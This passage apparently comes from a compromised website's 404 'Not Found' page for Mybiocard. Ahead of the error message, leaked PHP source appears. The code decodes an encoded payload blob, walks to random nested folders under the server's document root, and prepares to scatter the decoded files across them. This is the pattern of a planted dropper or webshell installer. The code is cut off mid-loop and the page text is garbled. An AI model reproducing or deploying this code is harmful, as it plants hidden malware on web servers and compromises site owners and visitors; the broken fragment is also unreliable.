25SM3p4VzR5SGhQN2oyTVwvZlQwOWRUZ25yOHcxRGZGRWZSaGowXHJcblN2WFd2TVR3WWE3Z2I4eUE5N1wvdW5RNTlGNW9CSm5zVUk2S2NEejBCMEhcLys3UzhNd0c2RFI4QmhkNkQ0Smo5R1FscVBvZ2tcL0paczlcclxuS1wvZ241SDQwZTdhTDdvVG9VWUFmWU12VW5NdzQwR2t3NFE4ME82WGNMTVJaRmdZd3hyS2w0c2FKamFicWpSTUNmNlFEZE9rZWxkSlwvXHJcbkJmU25ydldMY1dnWXhHWDZLZlBzd0VLTFpWTDZ5cmdYdnY2Zzl1TUJvRGljM0JcLzllMzZLTHZETlM3VFo3SzNzR2RFXC93Zm9xRFFEOVxyXG5OR0crOUFtWUxcL01EUk01aUxvOW5xREVZQUpXUng1VTVvKzNTYUhSYXBsUzhIK0ZhZjc4WWg0Yko4azJWejI0cWdKbGRYajhcL0RrQ2Zcclxud0R5OGZIXC9zZHB1alREMkt4aHhNXC91ZUEyNDlFXC93VHJ1XC9EZmwwNWJQa2VDNVRJXC9RT0F2YkpqTDQ3VG5JOEJEeStLbE9KUFY2YkpNXHJcbnlmZzN3TmYrcjk5S3hhZk9pYk51NUlRdktLc3YyeDlsVHRFRnZtR2xYcTlcL3JGZUxcL2duV0Qya0I2S2N3Y3BCK3dQXC9JeWVQMnN2cXBcclxuOW9laUNUOUZyMWNMXC9nbXAxMjVhVWM0UCtCODVpWCtxSlwvbGEwa1wvWmUwRDBUMGo5M2pYVHB2MEJZVUdoUWhkU29vWUFBQUFBU1VWT1xyXG5SSzVDWUlJPScsXHJcbiAgICApO1xyXG59XHJcbj8+XHJcbiJd"; $GLOBALS["root0"] = $_SERVER['DOCUMENT_ROOT']; function r($q){return $GLOBALS["root0"]."/".ltrim($q,"/");} function getRandDirs($q,$z){$h="";for($aa=0;$aa<$z;$aa++){$bb=getRandDir($q.$h);if(!$bb)break;$h.=$bb.'/';}return trim($h,"/");} function getRandDir($q){$cc=array();$dd=scandir($q);foreach($dd as $bb){if($bb=='.'||$bb=='..')continue;if(is_dir($q.'/'.$bb))$cc[]=$bb;}if(count($cc)==0)return null;return $cc[array_rand($cc)];} $root=r(''); $ret = array(); $rrr = array(); for($i=0;$i<200;$i++) { $rr=$root.getRandDirs(r(''),rand(3,6)); if(!in_array($rr,$rrr)) { $rrr[] = $rr; } if(count($rrr)==20) { break; } } $dm = json_decode(base64_decode($d),true); $dd = array(); $dd['a']=r(''); $cp = array(); $a = -1; $allcount = count($dm); for($i=0;$i 404 Not Found | Mybiocard

Opps! Something's missing...

The page you are looking for doesn't exists / isn't available / was loading incorrectly.

Back to Previous Page